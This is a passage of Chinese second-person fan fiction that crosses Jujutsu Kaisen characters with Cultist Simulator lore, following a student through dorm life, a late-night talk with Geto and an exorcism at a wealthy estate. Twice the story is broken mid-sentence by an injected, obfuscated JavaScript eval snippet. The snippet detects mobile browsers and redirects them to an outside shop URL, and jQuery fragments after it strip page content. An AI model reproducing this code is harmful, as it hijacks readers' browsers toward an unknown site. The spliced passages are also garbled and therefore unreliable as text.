你坚持人设:“是雾都刁民。” 她为你对伦敦的称呼而发笑:“真是好古早的说法,我记得现在都宣传那边空气洁净气候宜人了。” 时代变了,新时代的人头脑里被塞了新的思想,但你不一样。 “他们吃工业红利的时候可不这样。我记得以前……因为工业废气排不出去,当月毒死了4000市民。不,也不见得,统计学的诡计正是如此。”他们以为你在搜刮以前看过的互联网小知识假装伦敦市民,而你在唤起一段久远的记忆:“反正能见度低、出警不便……如果之前之后的流感一起算上,从政策学的角度,如果有人不希望做一些事情,他们就会希望报告上体现出佐证观点的论据。所以数据不能尽信,但是那段时间空气确实挺差,黄黄的,有臭鸡蛋味。” 七海惊叹你的情景模拟能力,他的表达方式是在几步远不咸不淡拆台:“你说的像你真在伦敦住过。” 这时候你又愿意改口了,轻描淡写:“看过纪录片。潮流与舆论,都是会改变的,但你永远可以相信发达国家趋利避害的能力。” 他们掌握喉舌与剑。 到了你的宿舍门口,而你不停步,依旧往前走。灰原叫住了你,你告诉他:“洗澡。” 从他关门的声音来看,你推测他今晚似乎…… 然后他打开门,郑重强调的声音你们其他人都能听见:“我中午锻炼完刚洗过,明天也打算那个时候。” 啪的一声关门后,你摊手,对他紧锁的门说:“没事,我也是昨天中午才淋浴。” 你转身碰了碰硝子的肩:“这孩子包袱突然重了起来。” 她说:“不想被夏油误会,大概。星夏唉星夏,一下就做到了灰原做不到的事情。我也去洗。” 是的,你是一个不太爱面子的人。 夏油和五条很快就和你们错开,即便你们本来差不多是一道。等抵达女浴室时,路上除了你与硝子便没有他人。你对在大澡堂里和其她女性赤裸相对这件事并不排斥,于是问她:“一起吗?” 她说:“一起。” 十余分钟后,洗浴室局部水雾缭绕,局部严寒透骨,这里很大,没有暖气。你在不间断喷洒热水的淋浴头下享受片刻温暖。四方形陈设的三十个花洒让你不由好奇,这里曾经当真有这么多人一起洗澡吗? 你提出了这个问题,而前辈回忆了一下自己的前辈,然后很肯定的告诉你:“没有。高专都找不出这么多学生,更何况还都要是女性。” “那么?”你的意思已经很明确了。 她笑了一声,你能听见硝子清晰的喘息:“就是他们弄错了,仅此而已。我猜男浴室格局也差不多就是这样,显然,他们也填不满。” 说到基础设施,你对这个学校也不是完全没有意见。你接着这个话题继续说:“我觉得他们可以在学校里放点自行车。”高专的大小看样子可以容纳千人就读,然而实际上么-- 她哈哈一笑,隔壁的水停了,透过隔档的声音也更清晰:“想什么呢,如果用他们喜欢的比喻来说,高专就是大将的所在地。天元大人的薨星宫就在我们脚下。并非是学校那么简单。” “真的吗?在洗浴室下面。” “……”毛巾捂住硝子的脸,你从她沉闷的声音里听出来的:“是在整个忌库下面,而且位置不断变移。阵法和星象之类,我不太懂,听夏油说很大,他去过。” “这么些年地震的灾害也没把我们挖空的学校吹倒,对,我有印象,天内理子那次,对吧?” “嗯,虽然最后貌似也没见到天元大人。他说不定已经和结界融为一体了。” “谁?天元大人吗?” “没错,再后来也没有消息,高层没义务对我们透露这些,不过他们还像以前一样运行。我们也像以前一样听从。”她说完这句话就响起了拖鞋踩在水面瓷砖上的声音,啪叽啪叽,说不出的滑稽:“我洗好了,我知道你要洗头,你又是长头发。慢用吧。今天有点困了,我先去睡。” 她打哈欠对你招手,你也道别:“晚安,硝子前辈。” 几十分钟后,你离开浴室,地漏里还有你的一绺头发。 当然,你把它拾起来扔掉了。 天气很冷,否则你是不会多费功夫吹干发梢的,你在更衣室的镜子那里耽误了很久。只有你一个人,所以你直接坐在了台面之上。出去的时候,由于热风和少许运动,你身上暖洋洋的。 你决定就近去前辈那边喝一杯。 有自动售货机。 遗憾的是,在可乐和咖啡中,你选择了悻悻离去,然而柳暗花明,还没踏入风雪的夜晚,你就遇见了从外面走回来的夏油杰。他身体好,一点也不怕冷,低落的水珠在外套上晕开。 “铃木?你在这里做什么。” “我来买罐咖啡。” 他看你的手,你也看你空空的手,你解释:“咖啡被丢在我房间的钱包里了。” 夏油杰懂了,你没带钱。 “我请你吧。”善解人意的前辈如是说。 “这怎么好意思。我要喝热的,左边的那个格子。”科技就是好,售货机还会帮忙加热饮料。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664982|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总感觉很耳熟。” 哦?他在说你的假客气,这种事情不能往自己身上包揽,你谦虚道:“跟灰原学的。” 夏油失笑:“他啊,啊,也难怪。铃木,你变了很多,和同学在一起很开心吗?” 开心吗?答案毋庸置疑,你也大方承认:“嗯,七海很好玩,灰原是另一种好玩。” “这个表述……你平常的时候和任务的时候并不一样。” “夏油前辈,别问这种问题。”你接过他递来的易拉罐,他指尖的温度比咖啡还温热。这样温暖的人好像竟然不懂没人会在工作时快乐的道理,你说:“我们做的毕竟是夺取生命的工作,而且工作环境险恶。吃着难以下咽的饭,就没必要强迫自己再夸奖它了,对吧。”强行追寻意义不可取。 他用泛着幽光的紫色眼睛看向你。 “怎么了?”你问。 “铃木,你……”他说到此处便停下来,你静候他即将出口的话。他最后说:“夺取生命?” “正是如此。”你说完就撬开了拉坏,饮用瓶中苦水,看外边夜色幽幽。 他在售货机旁站立良久,你听见滴的一声,又听见投币叮当,最后哐一下,他也收到信号,蹲下打开取货口,从里头拿出一罐……年糕小豆汤。 他说:“你一直都很有想法,在它出口前没有人知道你会说什么。”他在你旁两个身位坐下。 没错,此刻你就在想,这种饮料放售货机里到底是谁在爱喝。破案了,原来是夏油杰。 “你睡不着吗?” “……铃木,这是在催我别说话吗?我以为我们关系还可以。” “没有,我挺爱和你聊天的,可以说别的地方不能说的事情。而且……”你看了他一眼,接上:“你看起来压力很大。” 他轻轻叹息:“这算是什么并列关系。” “毕竟我经历过很多。你也应该多做些让自己开心的事情,前辈。”再深入下去可就要到大家最不喜欢的揭伤疤环节了,他如果想说在兜圈子之前就会开口,你问他:“前辈是想对非咒术师问题有所指教吗?一般来说我不乐意听这些,不过如果是你的话,我愿意听的。” 他的眼睛因为惊讶而睁大:“你发现了吗?” “你似乎有点恐惧非咒术师,这个症状是什么时候开始的?”你刚才心不在焉主要是因为在喝咖啡,现在它们已经在你腹中,你可以分心给眼前人。你右手撑着向他倾去,左手食指竖于他眼前:“其实我们以前还教过催眠。” 你上网在来路不明的网课上学的,七海不配合,灰原失败,你想在夏油杰身上再试试。 他谢绝了你的好意,用他的手握住你的手指。 “不用了,谢谢。”说罢,他松开了手。夏油杰正式回答你的问题,表现为只挑自己想讲的说:“非咒术师有观念上的局限,而且交往密切对他们自身安全也有风险。” “唔……你说那个社长?我其实在和你说前几天的案件和村民,如果可以的话,以后我来负责和他们交流就行。意志坚定这一人格特点可以用在对自己友善的地方。”简单来说,你认为夏油杰在持续不断的压迫自己,而他人殷切的希望会给他苦恼,但如果说的太明白,像他一样骄傲的人会惶恐不安。 你猜的,反正猜错了也不打紧。 他看着你,说不出一句话。 你适当缓解,又问了一遍老问题:“你需要睡眠方面的帮助吗?” “是的,铃木。还请你……多多指教。”他在愣怔之间完全被你牵着鼻子走了,不自觉就同意结束了对话。 你看他手上易拉罐,语气轻快:“好哦,等你喝完我就送你回房,你还要漱口吗?” “……” “前辈,你包袱不比灰原轻呐。偶尔睡前不想刷牙不会造成什么损伤。” “铃木--” “知道了知道了。”说来尴尬,你有根头发掉在了他肩膀上,你捡起它:“只是,你没必要害羞。对了,我才意识到,你怎么会想到那个人身上去呢?我们都不认识他。” “抱歉,铃木,我有点困了。”他很少如此面露窘迫。 你造仿了夏油杰的房间,简单,整洁,没有多余的物件,桌面如新。你评价:“比我的房间小一点,看起来更空。” 你的桌面上有电脑、摄像机、墙上还挂了不定期更新的照片,你还为衣服额外准备了衣架--那也是买的。 “东西都收纳起来了。” 你看向他的衣柜,打开是不礼貌的,但是你脑袋里不自觉就想到黑与白。过了一会,你说:“挺好的,如果以后不做咒术师你还可以去家政。” 看样子他对这个兴趣不大,你没什么所谓,人各有志:“好了,等你躺下我就开始念。” “说到这个,铃木,你念的内容每次都不一样?” 他很敏锐,你点头:“喔,我都是看心情挑选文本的。” “……咒语是这样的吗?” “哎呀,所以说我是女巫还是你是女巫,听我的,前辈。”事实上,你们都不是女巫。你随口解释两句:“我们需要学很多门语言,不只是拉丁语,文本也不少,所以--” “嗯?”他刚说自己困,现在表现得愿闻其详。 “没别的,我学的不好。只言片语,只是整篇曲目中的一段乐章。” 这是一个相当现实的回答,他姑且放过了你。你没什么想自由发挥的意思,念起了第一次你在他耳边吟诵的弧月祷文。他没坚持到第二节,一如既往。 25. 第 25 章 天亮以后,两位特级的任务依旧带上了你。 你在7点醒来,9点接到电话。 “10分钟后,高专门口,今天有车。”五条悟的声音夹杂风声,你还能听见硝子的语声。她说:“让我说,你以前哪有这么积极?” “硝子前辈也去?” 他那边的风声变大了一些,气息也有点颠簸,你怀疑五条在跑路:“硝子帮我写报告。” 你也帮他写过,他命真好。 你套上校服外套,又系上一条羊绒围巾,锁好门。钥匙丢在门口木雕下面,离开宿舍。路上,你回忆起偶尔有车的几次任务,无一不紧急,好奇今天是怎么回事。 天气还是太冷了,你缩进围脖中,感受呼出去的空气凝成水珠,挂在面前。 今天的辅助监督你曾经见过的,你还记得她,她就是第一次想请你出高专的西装女人。她叫做……你今天有闲心多看几眼了,她变得苍白而瘦削,但眼睛炯炯有神。 你没等到她的自我介绍,硝子先和她打了招呼:“岩守女士,你的病假应该还没结束,你还好吗?” 病假?确实,她自从你们头一次见面憔悴了许多。你以为她是在玩非主流。 “家入同学,托你的福,已经大好了。只是……” 从她们对话中你得知,她竟然就是康子事件的幸存者。诅咒师手下的幸存者,算起来也不过就是12月的事情,今天才24号。真是敬业。 你今天先不取笑她的特色纹身。 你们没人在车上开玩笑。 本次任务并不紧急,之所以动用轿车而不派遣你们各自前往原来是出自微妙的人际交往礼仪。 事情是这样的:有一名模特,独居。她在镜子里照出的人不像自己。 起初,是家里鱼缸中的鱼无端变少。有的鱼活着活着就想吃同事,这不奇怪,食物充足说明不了什么。 然后,是家养的猫夜里尖啸。你和前辈们一起听了录音,像发情。季节不太对,不过也不排除特殊情况存在。 后来,一团一团的猫毛和死鱼出现在马桶里。 模特有些慌,联系女友和自己一起住--她顺利搬离公寓到女友的市中心住宅。 鱼死了,猫死了,身在数公里外的她开始掉头发。她变得神经质,而她难以迁就,感到厌烦,她们分手。 中间都市怪谈一样的过程略去,直接到结果,模特死亡。专业团队检验,排除他杀可能性。 得到窗的反馈,在公寓中并未看见咒灵痕迹。本该到此为止。 但女友那边,出现了类似的症状。她开始掉头发,听见镜中人低语。 此女身份为政经界高层人士孙女。 他们想要最好的、最卓越的一批除魔师,找关系找到高专生来的。 “仅仅因为这样?”你坐在副驾驶问岩守。 她扬起一抹局促的微笑:“……啊,看起来是的。” “有钱人家的小孩真讨厌。”依你之见,全场最不该说出这话的人正是他,五条悟抱怨的声音一时令大家都沉默了。 带入一下,有钱人的感冒都要专家诊疗,这事也并不难以理解。 夏油杰提出疑问:“这个所谓的孙女,近期和委托人有过交集吗?” 答案是有。 “一次家族聚会,她表现得失魂落魄,后来住进祖宅。现在被控制在城市另一端的疗养院,他们有最专业的心理疏导。” 然而情况若真需要咒术师介入调查,心理疏导再优越也难以给咒灵传播爱与和平。此事荒诞不经。 硝子坐在两个人中间,提出了关键的疑问:“所以我们此行的目的地是?” 岩守:“祖宅,大约还有7公里。” 看见这个年代这个国家的有钱人还这样,你就放心了。还是熟悉的味道。你用手勒着安全带,低头继续听详情。 过了一会,岩守问你,声音温柔敦厚:“铃木同学,你还好吗?看你低着头。” 你的听后感是:“还好,我困了。” “……” 她过了一会,还是没等到你们中任何一人的回应,才一副不知道怎么开口的苦恼样子,但终究开口:“今夜还有一场晚宴,如果没能排查出祖宅中的变数,还请留下参加完晚宴再离开。” 你问:“孙女呢?这么好的平安夜可不能随便缺席。这对长辈来说是多大的遗憾哟?” 她对你的讽刺适应良好,只因并不针对她。岩守还是用包容的、亲厚的语气告诉你:“很遗憾,恐怕近藤小姐会在疗养院安然养病。” 十几秒后,第一个发声的是硝子:“呵呵。” 然后是五条悟的:“嘁。” 你从视野最好的位置看前方的山路,昨晚这里下了一场雪,而现在连公路都清洁地干干净净,只留围栏和国道边的两条白。 你和夏油杰都没说话。 你们的路途会经过一座山,但山顶和山脚显然都不是安宅之地。目的地在越过山后一段距离的天然山泉旁,一处依山傍水的好地方。你见过的日式庭园人造之景在自然造化之下相形见绌,不过考虑到你们来此的目的…… 倒是透露些许讽刺。 你在下车的时候礼貌关心了一下刚失去同伴不久的岩守知子:“你还好吗?如果有不方便可以和硝子前辈说,她在夜蛾老师那边挺有话语权的。” 你旁边的前辈已经点上花火,她咬着烟对你说:“你还真是会借前辈名头做事,星夏。嗯……不过确实,辅助监督的工作目前还匀得开,今天我们又刚好合作。” “我服从安排,能快点投入到工作来也是好事。” 于是你们也不再多说。 依照流程你们会见到管家,然后会有专人带你们排查。情况和你想的大差不差,西式住宅也无怪管理西化,只不过他们也沾了点官僚,或者说地主的味道。 先是硝子被提醒熄了烟,这个倒无伤大雅,然而在你印象中许多中年男性都有此习惯,你认为他们不会给客人来这么一套。假设你们要留到晚宴--从外看祖宅的庄园占地不小,惜命连孙女还没出事就送走的老东西想必对探查工作要求也不少--你相信宴会厅堂里会有一角专门给老爷们点烟,而且不会有人指摘气味缭绕。 再然后,是管家镜片后的打量,你的装扮实在平平无奇被忽略,然而烟、耳廓、墨镜……确实也不正常,你认为这个中年人的笑里有轻蔑:“听说今天本只有两位特级术士要来。” 你对这些下位者什么时候该停顿心里有数,说到底哪个地方的阶级都一样,就在他意味深长的时候指正他:“是咒术师,你说错了。” 中规中矩穿校服戴围巾的你也得到了打量,只要不说你就当他的凝视不存在,他改正,强调拖长:“咒术师。请问现在的情况是?” 你就不卑不亢回答:“这里头都是事儿,不太好解释,不如你们报警吧?” 实际上,比起你表现出来的愤世嫉俗,你本人平静的多。只不过你知道这样说会得到好的结果,你将这一准确认知归功于年轻时候的积累。一切都是肌肉记忆。 你睁圆眼睛面带微笑却出口粗鲁,为四人小队争取了接下来较为平和的务工环境。 “我们需要打开中央空调,27℃,谢谢。”这是为你自己谋得的福利。 你的前辈是特级,虽然你是个蹭饭人,但跟在顶点的两个人后面也不自觉骄傲地挺起了胸膛。没道理要因为有点决策权的底下人降低眼光。 一番交涉,代价是……也算不上代价,只是本就不算咒术师的岩守小姐被留在了会客厅。她会有很多报纸杂志、茶点,还有热汤,对她也有好处。 由于你做了好事,前辈们一致认为你可以获得选择同伴的权利。你说:“我选硝子前辈。” 你在下车打哈欠的时候就用灵躯深入漫宿,由里而外观测过此地,它的状况就和它的风水一样好。还有些许待字闺中的四级,它们的年纪恐怕比你在高专的学龄还短,方便你赚外快。 也许这户主人先前就有定期找窗打工的安排。 “开什么玩笑,绝无可能。”五条摘下墨镜,这是他的回答。 你面无表情:“哦。” “就算哭也没用。” 你才不会哭,然后你手指五条:“那就五条前辈好了。” 他看起来有些得意,“你还算有眼光。” 覆水难收,此即你否决的最好时机:“没别的考量,单纯怕选夏油前辈你会像上次一样闹。” “谁--” 他闹脾气的样子看着像生气了,你看着不像,他只是如此表现而已。五条的表演欲有时就这样,他的内心大概静若止水。 你兵分两路时和硝子还有夏油挥挥手,对于夏油,你比较完美的达成了昨天说的小忙,你额外给了他一个目光,你们在彼此的瞳孔中找见自己,他在微笑。 你窥得真实疲惫破碎之人的笑靥,眼睛干涩、眼眶青黑。光从深红色主题的房间透过窗帘洒在如血毯面,你侧脸对它,光像贯穿镜子一样贯穿了你,一半沐浴在黑暗中,一半陈设在红毯上。 你洞见了水中之月的不真实性。 月亮只有一个,另一为倒影。 你疑心这是某种弧月均衡的赐福。 你曾经玩过某种游戏,也许只有你把它当做游戏。一间房,一座椅,单人,你可以窝在里头一整天。智慧是一个国度,辉光照耀它的地图。用搜罗来的这里那里的奇怪事实,钻研于脑海,你就能变得博闻。 不过偶尔,你会遇到一些挑战。 正如现在。 心不在焉的人比励精图治的猿猴更聪明,对于坠入水中的月亮,人能更轻易明了那是空虚幻想,不能实现,也因此…… “你怎么又在这种时候发呆?”五条悟晃醒了你。 “……”很难说,但你对他现在确有不满。抬眼瞧他:“别吵,我在思考。” “说说看你在思考什么?”他根本不想听,只想指责你不务正业。 你摇了摇头,在这个窗帘半拉的房间里已没有额外的阳光,你看向外面,有云遮挡。 你说:“被你打断了,忘了。对了,硝子和夏油前辈呢?” 五条悟戳你脑袋,你偏过头去他还不依不饶:“他们已经离开了有一会了,倒是你,像回到了夏天那时候。你刚进来的时候就会这样直勾勾盯人看。铃木,你像个怪谈,管家和你说话的时候你一点反应也没有。” “那挺好的,依照主人家的谨慎程度,我们即将收到最高礼遇。”你心不在焉地回复,看见房内有一男仆立在门后,料想他应当会引导你们搜查完划定范围的房间,你就对他说:“我是先天通灵之体,刚刚我察觉到一丝杀意。有恶灵在这里。” 男仆是凡人,当即变了脸色。 虽然你刚才说话脸上没做表情,但实事求是讲,有一半玩笑意图,你看领路人脸色不对,扭头去问五条:“我刚才做了什么?” “你什么也没做,这是最可怕的。”他一双手很大,轻松捏起你的下颌,把你的头扭回前方。做起了解释工作:“她在胡说八道,这里什么也没有。” 反而更欲盖弥彰。 所有人,包括说话的五条悟自己都认识到这点。他不再费心解释, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664983|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑到你耳朵旁边警告,也许玩乐意味比提醒更甚:“ai。” 从他无下限的研究状况判断,他的嘴唇是故意贴在你耳朵上的。 你抬手捏了捏他的手腕,他就放手松开了你的脸。这时你转头,几乎和他嘴唇相贴,你并不忌讳这点,只当面前空无一物一样自若开口:“我在,怎么了?” 他把脸连同身体一起挪开。“我们开始吧。”他不自然地整理领口。 搜查工作远比你想象的更顺利,你们的进度本该比夏油那边快上不少,只因为组长--他自封的,五条拥有的六眼只一眼就能扫过一室房间。即便大多数客房都配有独立厕所,你们也只需多一个拧开门的步骤。 至于为什么说本该…… “铃木,不用管四级。” 你充耳不闻。你不喜冬的寒冷,也学硝子穿上了加厚加绒自发热等多元素的羊毛袜,只不过她穿灰色,你偏好黑色和燕麦色。大菱格花纹深陷在毛毯中,你在卷起床纱的床柱边双漆跪地,抬起双手交握中夹着的刀尖。 “前辈,你能带男仆先去下间吗?我稍后就来,他快晕过去了。”你维持此动作,扭头的往右后方看去,他们站在门口,其中男仆缩在五条后,你能从他面无人色的白脸上看到畏缩。你坦然自若,其实并不在乎陌生人的胆怯,只不过不希望五条从中看出端倪。 关于女巫之说,一个人知道是秘密,两人知道就能对口供。这借口并不高明,凭借两个小天才的合谋难免看出差错。所以,夏油杰一人就够了。 五条悟临走的时候评价你:“你看起来就像恐怖故事里举止怪异的养女。你还穿了一身黑色。” 确实,经常有那种情节:他们收养了一个女孩,还住在独栋别墅里,天然的暴风雪山庄,家里电话线断了,不幸的开端。和这个模特死亡的故事烂俗程度有的一拼。但有一点非常值得说明,你其实不介意穿五颜六色的校服,只有这袜子是你选的,所以……高专也有责任。 谁让他们校服是这颜色? 今日你的献祭乃是弧月专场,如果刚才的一瞬间真实是她赐予的亮光,你期待她能再多瞥视你一眼。你遭遇的谜题确实需要一点真理方面的指引,可惜一路下来的结果令你大失所望。 没有提示,没有指引,没有回响,一如既往。可能有关灯的司辰都偏好知识多过欲望,你想,这也正是你之所以选择他们的展望。守夜人无有仁慈,上校控制欲太强,昕旦……不提了,兜兜转转总归还是弧月。 你像一个绝望的追求者,这样说甚至过分夸大自身。她是司辰,你只是长生者……月亮居屋中的神明根本不在意你在凡间做出的一切。 也许其实赤杯才是更好的选择?毕竟她曾经接纳过你一次,现在赤红教堂仍有你的容身之所,只要你愿意过去。 “你怎么总是在发呆。”某次拖沓的祓除之后你还蹲在原地,已经视察完一整层的五条悟折返回来找到了你。他的耐心有且不少,但你进度确实太慢。他揪你的耳朵,你觉得自己的耳垂大概是红了。 他坐在打理整洁的床上,破坏了被褥原本不存在的纹路,凭空增了褶皱。问你:“难道说,在想我的事情?” 你此刻确实有点想流泪。 你在五条悟身上看到了自己的一点影子,但你比他可悲多了。 真是……如果你不喜欢他,他仍然是前途光明意气飞扬的咒术师;可惜如果你找不到能够被接纳的方向,你即将面对的就是一巴掌能拍死你的具名者,还有虎视眈眈的同事。 狮子从不向马请教如何捕猎,但五条悟不一样。他从未研习无形之术,但你能想象他在此道必然天赋卓绝,就如他在其他领域展现的一样。于是你改坐在冰冷的木地板上问他:“你喜欢一个女人,你觉得她,呃,家庭条件不错(月亮的居屋),工作也不错(事少),性情柔和(没听说有太多纷争),对伴侣要求不多(弧月座下具名者和长生者空编许多),总之是女人里比较省事的那种,但她不喜欢你,怎么办?” “【女人里比较省事的那种】,”他重复了你的话,翘起腿,鞋尖失礼地虚晃过你头发,你却眼睛也不眨,仰视等待一个回答:“你要不要听听看自己在说什么?” 毫无疑问,他在谴责你。 你整改了一下自己的措辞,修复了容易让人带入爱情的问题:“你打算向一个女人求婚,她的特点如上,但她似乎不想和你结合,怎么办?” 他反问你:“【结合】?” 人到穷途末路的时候总会生出点不切实际的幻想,你还没到那个程度,但精神恐怕也略微失常,五条悟不是回答问题的好人选。 “算了,当我没问。”你撑着地板站起来,却在过程中被他一手拉到床上。 他不满足于给你的脑袋添乱,手撑持你的腰,并开始要求你阐述提问动机:“你为什么要问我这种问题?” 你们靠的很近,你的腿搭在他的腿上,你不害怕他的目光,还有闲暇拉一把自己的裙子:“是我疯了,指望你能给我建议。” 他看了你一会,如果你们眼与眼间有一根实质性的绳,那它已经被拧成麻花,不,应该已经绞烂了。如果五条悟愿意,他可以有上位者的气势,不过唬不住你,你还能走神想这些。 忽然,他松开了扶着你腰的手,又顶着你的腿站了起来。你就像摇摇木马一般翻仰在柔软的床上,冬日的厚被顺滑冰凉,伴有香氛的芳香,他们在清洁的时候加了很好闻的柔顺剂。 你的仰视的余光能看到他插兜走到门口,他声音也冰凉,告诉你:“那就换个人。” 他生气了,这次没闹脾气。纯粹不想理你。 26. 第 26 章 你惹恼了五条悟,你也知道他不快的点在于在他试图调情的时候心思完全不在他身上,只沉迷于自己的幻想。幻想,他或许会这么想你吧? 你出门的时候叮嘱男仆:“如你所见,床被弄乱了一点,不过这是业务需要,你把它整理好。”拍拍他的肩膀,在他惊得要跳起来的时候你告诉他:“你不错,肩膀上的火很旺,遇到邪祟也难伤亡。我们先去三楼再巡视一圈,你好了就跟上来。对了,提醒一句,你别刻意去找刺激就行。” 好歹给这个无心吓坏的人一点盼头,你对蓄意令人恐慌这种事兴趣不大。 五分钟以后,你跟上五条悟,他走路快了许多,并非有心,你晓得这只不过是他寻常的步履。仅仅只是没有迁就你慢吞吞的脚步而已。 你说:“等等。”他就像蝴蝶合拢翅膀那样慢下步伐,然后从嗓子里发出一声:“嗯?”因为过分含糊,也可能实际是“哼”的上扬音。 “对不起,刚才说了一些奇怪的话。” “你也知道那是奇怪的话,那是什么意思?” “没什么意思,我打算换个人。”你这样告诉他。 “什么?” 你烦恼走神的时间暂且已经过去,心情又轻快起来,快乐松弛乃是严谨致密的大敌,泄密如酒醉后轻言一样难以察觉,你告诉他过了此时此刻你可能永远也不会诉说的话:“【白日铸炉】”用的英语。 铸炉的强大无可置疑,她的再造之火甚至能更改漫宿的通路和门扉,只是她看起来不太好说话。这位司辰在几百年前把爱人骄阳分裂了,【分裂】是字面意思。就像很多古老的传说那样,神死后祂的器官与肢体能够转化为其他神,你猜想骄阳的分裂也正是那样。有学者预言死去的骄阳会在未来某个拂晓再次回归,不过在目前,尚未发生。分裂而成的司辰有四位:弧月,昕旦,残阳和裂分之狼。 她不太好说话的第一印象主要来源于置闰分裂的光辉过往,不过除此之外,你没听说有什么危险的传闻。所以说……还是不能太轻信刻板印象啊。 你认为……值得一试。 他停住脚步,你撞了上去,同时他的声音从上方传来:“如果你不说清楚,我就不和你说话了。” “……”好幼稚,但你其实并不讨厌他,或者说,对于五条悟此人,你仍然愿意敷衍一试。你揉了揉鼻尖,并试图把他的背向前推,是空气墙,不意外。 你张口就是:“我的一个朋友--”0帧起手。 在五条悟刻意营造的沉默中,只留你一个人在冬天温暖的走廊上娓娓道来,窗外湖畔草坪被落雪染银白。 【是这样的,你有这么一个朋友,早年不幸,前面忘了后面忘了,她正好也是个生活西化的女孩,在此称为A。她只和身居高位的女人恋爱。她的女友,由于保密需求在此称她为圣杯女士。圣杯女士,拥有无与伦比的美貌,也有与身份相提并论的贪婪,她给了--】 拥有与落雪相同颜色头发的男孩向你提问:“等等,为什么你朋友是A,女朋友就是圣杯女士?” 你看窗外光秃树杈,金钱的力量也难抵冬带来的死亡:“别无他般,和朋友聊天时,朋友总是会自称【我】,而会给伴侣起一个外号,沿用而已。总是叫【我对象】【我女朋友】未免黏糊。” 他认可了这个说法。 【她给了A难以企及的好东西。一颗时刻跳动激情的心脏、一副因为爱而充盈的美貌,还有一场永不落幕的盛宴。额。简单来说就是钱,医美,还有蔑视凡人的优越感。如果这也算爱,那就再加上这一点。】 貌美的男孩走近你,发笑向你提问:“你朋友这么有钱怎么不带上你?” 金钱有用,但于你不过流水,想要时掬一捧,不想要便任他归于江河,死亡于你也不算忌讳:“她早些年死了,死于谋杀。如果你认真听的话,我现在已经讲到那里了。” 他低头看地下。 【圣杯女士情人众多,其中不乏比A地位高者,其中有一个,我们称他为干渴者。他讨厌A,但是至今日我们也未能了解到她于他有多少眼中钉成分。他还有不少追随者,他们每一位都比A强大。某日,A找到你,询问是否要改换门庭。她为自己物色的新女友正是你之前所讲的“比较省事的那种”。你在今天忽然想到了她。】 【然而一切的故事都会随死亡落下句点。只因时隔不久,目前还有些没有遗忘的人会讲述它。这就是故事的全部,冬天令你想到死亡,也让你忧伤。】 不忌讳,但你也没兴趣幻想自己的死亡,所以你懒得编造悬而未决的死因:“仅仅是这样。对了,我猜你想提问【那么A没有女人就会死吗?】,答案我并不知道,但似乎正是这样。” 事情太荒诞,就少有人去质疑真假了,五条悟的手遮挡住你凝视冰雪构成的窗花,你的后脑也撞进他胸膛。“你交的朋友太奇怪了,而且他们都好容易死。A也是,前男友也是,就是因为他们你才会变成这样吧?你还是多和硝子一起玩比较好。” 身在一个人类不列为万物灵长的地方,老实说你选择的余地没有很多。不过你赞同硝子是良友,于是附议:“硝子前辈确实对我多有照顾。” “我呢?我就没有照顾你吗?” 你拉下他的手,回头看他。 对于沉默的应用显然是你更得心应手,你让五条觉得尴尬。他也在思考,最后勉强说:“……我请你吃了挺多饭的。” 木楼梯上传来吱呀吱呀的声音,是男仆来带路了,于是你没什么情绪起伏地感谢他:“那,多谢了。” 你拉开距离。 他跟了上来,你对男仆在一段距离处招手,五条就站在你身后,他附于你耳边:“你还想要什么?” 巧了,你什么也不想要,除了…… “你一定非要袚除每一个吗?”你们聊过天,但是关于是否要袚除咒灵的分歧不减。 你说:“最后一个。” “你刚才就是这么说的。”现在已经日上中天,五条悟倚在门口,看你。 你不在弱项争辩,只是请求他:“再给我一分钟,不,30秒。”只是这请求还没说完门就在试图关。 被他抵住。 他的手也伸出门框,扣在木头上,接着是同样强势的半张脸,他对你说:“你求我。” 你不是会被轻易挑逗的那类人,所以你稍微打开门,把手附在他的手上,摩挲他手背凸起的青筋,还有关节处因为白皙肤色显现的红。这是一只力量感十足的手,你的黑色指甲轻轻划过他两指间空隙,抬头嘴角含笑小声央求他:“拜托拜托了,五条同学。” 他唰一下抽回了手,你恢复如常,公式化感谢他的帮助:“谢谢配合,前辈。”在尾音落下前关门。 你在咔哒落锁后脚步踉跄,吞咽困难,呼吸紧张。你心如茫茫江海那样浑浊,但也似沸水翻滚。你打算试一下五条的建议,试图向不焚之神,白日铸炉祈祷。 深渊曼达安语,据传是白日铸炉的语言,孕育于沙漠,深埋于火中。你学的……不太好。而有关铸炉,你听的最多的那一句就是大家皆知的【铸炉独具匠心,铸炉残酷无情】,书到用时,方恨少。 你心中的热意退却,也萌生出对尚未发生的失败的谅解,然而终究还是渴望看见成功的预兆。正是在这样的心情里,你随手捉住了藏身衣柜中的咒灵。 它还很小,无论体格还是诞生时日都如此。 当改变来临之时,必须要使用恰当的知识。 你没用匕首袚除,轻声对它念祷不太熟练的巧匠祷文,磕磕巴巴。那些写在羊皮卷上的断章残句,刻于陶碗里侧的聱牙装潢,如今你发于胸,呻于口,此为你为铸炉吟诵的第一篇祝圣篇章。 你听见咒灵轻微的嚎叫,然后如同油画脱皮褪色一样止了声息,有火花从这个毛绒玩偶大小的玩意身上蜕下,它颜色灰扑扑,因此你谅必不会看错,那正是灰烬中诞生的金红火光! 你嘴唇干裂,舌头脱水,双手烧伤。 高烧的咒灵在你眼中也点亮,你松开手, 